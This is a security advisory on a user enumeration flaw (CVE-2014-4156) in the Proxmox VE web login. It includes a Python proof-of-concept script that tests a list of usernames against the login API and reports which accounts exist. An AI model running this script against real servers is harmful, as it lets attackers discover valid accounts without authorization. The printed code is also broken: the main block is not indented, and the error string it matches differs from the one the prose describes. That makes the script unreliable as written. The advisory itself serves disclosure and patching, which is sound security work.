User enumeration vulnerability in Proxmox < 3.2

Description

Proxmox VE is a complete open source virtualization management solution for servers. It is based on KVM virtualization and container-based virtualization and manages virtual machines, storage, virtualized networks, and HA Clustering.

Vulnerability details

When trying to authenticate on the proxmox web interface, an ajax request is sent to the server with the username and password entered by the user. The server returns a message in the ajax request :

- If the user does not exist in the server the message will be : "Username does not exist"
- If the user exist but the password is not correct the message is : "Authentification failed"

This message results in a leak of information that may be used to deduce whether the username exists or not.

Note that this vulnerability was tested on Proxmox VE server version 3.1 but seems to affect every 2.x versions as well. Only PAM authentication method has been tested but we assume it works on PVE method too.

Access Vector: remote

Security Risk: low

Vulnerability: CWE-204

CVE-ID: CVE-2014-4156

Proof of Concept

proxmox-enum.py <host> <file>

- <host> refers as the host of the vulnerable server
- <file> is a file that contain a list of users (one per line) that will be tested.

```
#!/bin/python
import sys
import re
import time
import requests

def checkUser(name):
    data = {'username': name, 'password': 'sysdream', 'realm': 'pam'}

    try:
        request = requests.post(url,
            data=data,
            verify=False,
            timeout=3
        )
        response = request.json()
    except requests.exceptions.Timeout:
        return True

    if response['status'] == 1:
```

```
        return True
    elif response['status'] == 500:
        if response['message'] == "Authentification failure":
            return True
        elif re.match('no such user \(\'(.+)\'\)', response['message']):
            return False
    return False

if __name__ == '__main__':
    if len(sys.argv) >= 3:
    host = sys.argv[1]
    url = host + "api2/extjs/access/ticket"
    filename = sys.argv[2]
    users = []
    start_time = time.time()

    print "###################################"
    print "#     Proxmox User Enumeration     #"
    print "#     Romain E SILVA (Sysdream)    #"
    print "#     https://wwww.sysdream.com    #"
    print "###################################"
    print ""
    print "Starting Proxmox user enumeration..."
    print "==================================="
    print ""

    with open(filename) as f:
        for line in f:
            username = line.rstrip('\r\n')
            sys.stdout.write("\r\x1b[K" + 'Checking user "' + username + '"')
            sys.stdout.flush()

            if checkUser(username):
                users.append(username)
                print "\r\x1b[K" + 'Found user "%s"' % username

    elapsed_time = round(time.time() - start_time)

    print "\r\x1b[K========== Results =========="
    print "Found " + str(len(users)) + " user(s) in " + str(elapsed_time) + " secs : " + ",".join(users)
else:
    print 'Usage: %s HOST USERS_FILE' % sys.argv[0]
```

Solution

Upgrade to Proxmox VE version 3.2.

Affected versions

- Proxmox VE versions <= 3.1

Disclosure Timeline

- 2013/11/13: Vendor contacted
- 2013/11/19: Vendor fixed the vulnerability
- 2014/03/10: Vendor released Proxmox VE 3.2

Credits

- Romain E SILVA, Sysdream (r.esilva -at- sysdream -dot- com)

Contact

- Website: http://www.sysdream.com
- Twitter: @sysdream